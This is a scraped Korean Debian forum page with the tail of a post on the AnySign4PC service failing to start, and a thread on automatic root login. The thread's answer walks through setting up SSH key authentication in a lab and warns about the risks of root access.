&nbsp;81&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;then<br /> &nbsp;82&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;rm -f ./cronAny.registry<br /> &nbsp;83&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;fi<br /> &nbsp;84&nbsp;<br /> &nbsp;85&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;crontab -l &gt;&gt; ./cronAny.registry<br /> &nbsp;86&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;echo "* * * * * /etc/init.d/$INITD_NAME start" &gt;&gt; ./cronAny.registry<br /> &nbsp;87&nbsp;<br /> &nbsp;88&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;crontab ./cronAny.registry<br /> &nbsp;89&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;rm -f ./cronAny.registry<br /> &nbsp;90&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;fi<br /> &nbsp;91&nbsp; &nbsp; &nbsp;else<br /> &nbsp;92&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;chkconfig --add /etc/init.d/$INITD_NAME<br /> &nbsp;93&nbsp; &nbsp; &nbsp;fi<br /> &nbsp;94 fi</p> <p><br /> ■ anysign4pc.service의 상태 확인</p> <p>westporch@nt900x4c-a58:~$ sudo systemctl status anysign4pc.service&nbsp;<br /> ● anysign4pc.service - AnySign4PC<br /> &nbsp; &nbsp;Loaded: loaded (/lib/systemd/system/anysign4pc.service; enabled; vendor preset: enabled)<br /> &nbsp; &nbsp;Active: failed (Result: exit-code) since Mon 2019-10-21 22:13:24 KST; 1h 17min ago<br /> &nbsp; Process: 946 ExecStart=/etc/init.d/AnySign.linux.SysV.x64 start (code=exited, status=203/EXEC)<br /> &nbsp;Main PID: 946 (code=exited, status=203/EXEC)</p> <p>10월 21 22:13:24 nt900x4c-a58 systemd[1]: anysign4pc.service: Service RestartSec=100ms expired, scheduling restart.<br /> 10월 21 22:13:24 nt900x4c-a58 systemd[1]: anysign4pc.service: Scheduled restart job, restart counter is at 5.<br /> 10월 21 22:13:24 nt900x4c-a58 systemd[1]: Stopped AnySign4PC.<br /> 10월 21 22:13:24 nt900x4c-a58 systemd[1]: anysign4pc.service: Start request repeated too quickly.<br /> 10월 21 22:13:24 nt900x4c-a58 systemd[1]: anysign4pc.service: Failed with result 'exit-code'.<br /> 10월 21 22:13:24 nt900x4c-a58 systemd[1]: Failed to start AnySign4PC.</p> <p><br /> ■ anysign4pc의 버전 확인</p> <p>westporch@nt900x4c-a58:/opt/anysign4pc/amd64$ ./AnySign.ex -v<br /> 1.1.2.6</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=575&amp;1=default&amp;2=en&amp;3=" token="xyZ0urBtyTNKKywbamzkM8kxvHDch9QPvOa5Tb6jb-E"></drupal-render-placeholder> </div> </article> </div> </section> Mon, 30 Sep 2019 19:51:46 +0000 세벌 306 at https://debianusers.or.kr https://debianusers.or.kr/node/306#comments auto login https://debianusers.or.kr/node/284 <span property="schema:name" class="field field--name-title field--type-string field--label-hidden">auto login</span> <div class="field field--name-taxonomy-forums field--type-entity-reference field--label-above"> <div class="field__label">Forums</div> <div class="field__item"><a href="/taxonomy/term/8" hreflang="en">일반적인 질문</a></div> </div> <div property="schema:text" class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>초기에 부팅 시 터미널에 로그인이 가능하도록 되어져 있습니다.</p> <p>root/root 또는 debian/temppwd 를 입력하여 로그인을 하고 있는데 이부분에서 로그인을 하지 않고 바로 root권한으로 자동 로그인이 되는지 궁금합니다.</p> </div> <span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/user/124" typeof="schema:Person" property="schema:name" datatype="">khju</span></span> <span property="schema:dateCreated" content="2018-09-27T09:04:40+00:00" class="field field--name-created field--type-created field--label-hidden">2018.09.27.(Thu) - 18:04</span> <section class="field field--name-comment-forum field--type-comment field--label-hidden comment-wrapper"> <article role="article" data-comment-user-id="5" id="comment-530" class="comment js-comment clearfix"> <span class="hidden" data-comment-timestamp="1538231808"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/5" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/5" typeof="schema:Person" property="schema:name" datatype="">세벌</span></p> <p class="comment__time">작성: 2018.09.29.(Sat) - 23:36</p> <p class="comment__time">수정: 2018.09.29.(Sat) - 23:36</p> <p class="comment__permalink"><a href="/comment/530#comment-530" hreflang="en">Permalink</a></p> </footer> <div class="comment__content"> <h3><a href="/comment/530#comment-530" class="permalink" rel="bookmark" hreflang="en">보안상 권장 안 합니다만...</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p><a href="https://superuser.com/questions/969923/automatic-root-login-in-debian-8-0-console-only">https://superuser.com/questions/969923/automatic-root-login-in-debian-8…</a></p> <p>참고해 보시면 어떨까 합니다.</p> <p>구글에서 Debian auto login 찾아보면 도움되는 정보가 있을 겁니다.</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=530&amp;1=default&amp;2=en&amp;3=" token="ByYNMbHfE9rR1LafTz5Flv0PTf0WLTDnvlkAVfRqB7w"></drupal-render-placeholder> </div> </article> <article role="article" data-comment-user-id="1" id="comment-531" class="comment js-comment clearfix"> <span class="hidden" data-comment-timestamp="1538928465"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/1" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/1" typeof="schema:Person" property="schema:name" datatype="">westporch</span></p> <p class="comment__time">작성: 2018.10.01.(Mon) - 03:13</p> <p class="comment__time">수정: 2018.10.08.(Mon) - 01:07</p> <p class="comment__permalink"><a href="/comment/531#comment-531" hreflang="en">Permalink</a></p> </footer> <div class="comment__content"> <h3><a href="/comment/531#comment-531" class="permalink" rel="bookmark" hreflang="en">ssh 키 인증(공개키 암호 시스템 이용)을 사용하면 가능합니다.</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p>지식에 기반한 인증(아이디, 비밀번호)이 아니더라도 공개키 암호 시스템에서 사용하는 키쌍(공개키, 개인키)을 통해 인증을 할 수도 있습니다.<br /> (참고로 공개키는 외부에 공개되어도 되지만, 개인키는 반드시 자신만 알고 있어야 합니다. 개인키가 절대로 외부에 알려져서는 안됩니다)<br /> 예를 들어 전자 서명은 공개키 암호 시스템(RSA)의 원리를 이용하여 서명자 인증 및 부인 방지 등의 기능을 제공합니다.</p> <p>ssh에서도 공개키 암호 시스템을 사용하기 때문에, RSA-2048(ssh-keygen 명령으로 키쌍 생성시 기본값으로 설정됨) 암호 시스템을 사용하여 생성한 키쌍을 통해 인증을 할 수 있습니다.<br /> 따라서 아이디와 비밀번호를 입력하지 않더라도, 자동으로(키 인증 만으로) 루트 계정으로 접속할 수 있습니다.<br /> 물론 ssh의 설정 파일(/etc/ssh/sshd_config)에서 root로 접속하는 것을 허용해야 하며 포트를 개방해야 합니다.<br /> <br /> 하지만, 편리한 만큼 위험도 따릅니다.<br /> 공개키 암호 시스템에서 사용하는 RSA 알고리즘이 소인수분해의 어려움을 이용했기 때문에 개인키를 절대로 알아낼 수 없다고 할지라도, 루트 계정으로 곧장 접속을 허용하는 것은 위험합니다.</p> <p>아마 내부망에 있는 테스트 서버나 개발 서버 등을&nbsp;편하게 사용하고자, 루트 계정으로 자동 접속을 하시려는게 아닐까 싶네요.</p> <p>다음은 ssh 키 인증을 설정하는 방법입니다.</p> <p><br /> <strong>1. 서버 정보<br /> 1.1 클라이언트</strong></p> <ul> <li>호스트네임: test-vm-01</li> <li>IP: 192.168.1.99</li> <li>계정: westporch<br /> &nbsp;</li> </ul> <p><strong>1.2. 서버</strong></p> <ul> <li>호스트네임: test-vm-02</li> <li>IP: 192.168.1.100</li> <li>계정: root<br /> <br /> &nbsp;</li> </ul> <p><strong>2. 시나리오</strong><br /> 클라이언트(test-vm-01)의 사용자 westporch가 ssh 키 인증을 설정한 후, 서버(test-vm-02)의 루트 계정으로 자동 접속합니다.<br /> <br /> <br /> <strong>3. ssh 키 인증 설정 과정 및 자동 접속 테스트<br /> 3.1. 클라이언트에서 키 쌍(공개키, 개인키)을 생성</strong><br /> ssh-keygen 명령으로 키 쌍(공개키, 개인키)을 생성합니다.</p> <p>-----------------------------------------<br /> westporch@test-vm-01:~$ ssh-keygen<br /> Generating public/private rsa key pair.<br /> Enter file in which to save the key (/home/westporch/.ssh/id_rsa):&nbsp;<br /> Created directory '/home/westporch/.ssh'.<br /> Enter passphrase (empty for no passphrase):&nbsp;<br /> Enter same passphrase again:&nbsp;<br /> Your identification has been saved in /home/westporch/.ssh/id_rsa.<br /> Your public key has been saved in /home/westporch/.ssh/id_rsa.pub.<br /> The key fingerprint is:<br /> SHA256:BTZ7AKgDL8SrUlhbw0G2jzTGbKmd136Qr+zg7LwaS0w westporch@test-vm-01<br /> The key's randomart image is:<br /> +---[RSA 2048]----+<br /> |.&nbsp; o+o..=&nbsp; &nbsp; &nbsp; &nbsp; |<br /> |.o.+=o . =&nbsp; &nbsp; &nbsp; &nbsp;|<br /> |.=.+X.&nbsp; . o&nbsp; &nbsp; &nbsp; |<br /> |o.** = . +&nbsp; &nbsp; &nbsp; &nbsp;|<br /> |.o..E o S&nbsp; &nbsp; &nbsp; &nbsp; |<br /> |o&nbsp; o . . o&nbsp; &nbsp; &nbsp; &nbsp;|<br /> |.&nbsp; &nbsp;+ . . o&nbsp; &nbsp; &nbsp; |<br /> |&nbsp; &nbsp;. * o o&nbsp; &nbsp; &nbsp; &nbsp;|<br /> |&nbsp; &nbsp; oo*o+&nbsp; &nbsp; &nbsp; &nbsp; |<br /> +----[SHA256]-----+<br /> -----------------------------------------</p> <p><br /> 생성된 공개키(~/.ssh/id_rsa.pub)는 외부에 공개되어도 되지만,<br /> 개인키(~/.ssh/id_rsa)는 절대로 외부에 공개하면 안됩니다.</p> <p>-----------------------------------------<br /> westporch@test-vm-01:~/.ssh$ ls -lh<br /> 합계 12K<br /> -rw------- 1 westporch westporch 1.7K 10월&nbsp; 1 00:40 id_rsa<br /> -rw-r--r-- 1 westporch westporch&nbsp; 402 10월&nbsp; 1 00:40 id_rsa.pub<br /> -rw-r--r-- 1 westporch westporch&nbsp; 222 10월&nbsp; 1 00:42 known_hosts<br /> -----------------------------------------</p> <p><br /> <strong>3.2. 클라이언트의 공개키를 서버(도착지)에 복사</strong></p> <p>-----------------------------------------<br /> westporch@test-vm-01:~$ ssh-copy-id root@192.168.1.100<br /> /usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/westporch/.ssh/id_rsa.pub"<br /> The authenticity of host '192.168.1.100 (192.168.1.100)' can't be established.<br /> ECDSA key fingerprint is SHA256:vsyoOlv44YavJKRnv/1vR+Nyt36vuyKQXUrLIsw2Kao.<br /> Are you sure you want to continue connecting (yes/no)? yes<br /> /usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed<br /> /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys<br /> root@192.168.1.100's password:&nbsp;</p> <p>Number of key(s) added: 1</p> <p>Now try logging into the machine, with:&nbsp; &nbsp;"ssh 'root@192.168.1.100'"<br /> and check to make sure that only the key(s) you wanted were added.<br /> -----------------------------------------</p> <p><br /> <strong>3.3. 자동 접속 테스트</strong><br /> 아이디와 비밀번호를 입력하지 않고, 자동으로 test-vm-02의 루트 계정으로 접속하였습니다.</p> <p>-----------------------------------------<br /> westporch@test-vm-01:~$ ssh root@192.168.1.100<br /> Linux test-vm-02 4.9.0-7-amd64 #1 SMP Debian 4.9.110-3+deb9u2 (2018-08-13) x86_64</p> <p>The programs included with the Debian GNU/Linux system are free software;<br /> the exact distribution terms for each program are described in the<br /> individual files in /usr/share/doc/*/copyright.</p> <p>Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br /> permitted by applicable law.<br /> Last login: Mon Oct&nbsp; 1 00:36:26 2018 from 192.168.1.90<br /> root@test-vm-02:~#<br /> root@test-vm-02:~# id<br /> uid=0(root) gid=0(root) groups=0(root)<br /> -----------------------------------------</p> <p>&nbsp;</p> <p>* 내용 수정(2018.10.08.)<br /> ip주소를 잘못 적어서 수정했습니다.<br /> 192.168.0.99 → 192.168.1.99<br /> 192.168.0.100 →&nbsp;&nbsp;192.168.1.100</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=531&amp;1=default&amp;2=en&amp;3=" token="xVTNhN6jtROQLif3UvFflzMqCBSYmO6yDft04hE9OWU"></drupal-render-placeholder> </div> </article> <article role="article" data-comment-user-id="5" id="comment-532" class="comment js-comment clearfix"> <span class="hidden" data-comment-timestamp="1538682413"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/5" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/5" typeof="schema:Person" property="schema:name" datatype="">세벌</span></p> <p class="comment__time">작성: 2018.10.05.(Fri) - 04:46</p> <p class="comment__time">수정: 2018.10.05.(Fri) - 04:46</p> <p class="comment__permalink"><a href="/comment/532#comment-532" hreflang="en">Permalink</a></p> </footer> <div class="comment__content"> <h3><a href="/comment/532#comment-532" class="permalink" rel="bookmark" hreflang="en">https://www.debian.org/devel…</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p><a href="https://www.debian.org/devel/passwordlessssh.en.html">https://www.debian.org/devel/passwordlessssh.en.html</a></p> <p>제 답이 뒷북인 거 같습니다만... 위 링크도 참고하셔요.</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=532&amp;1=default&amp;2=en&amp;3=" token="3zQ04VPk78JDx5wW1mEZzzJCERgegdVQakZWUtTh2fA"></drupal-render-placeholder> </div> </article> </section> Thu, 27 Sep 2018 09:04:40 +0000 khju 284 at https://debianusers.or.kr https://debianusers.or.kr/node/284#comments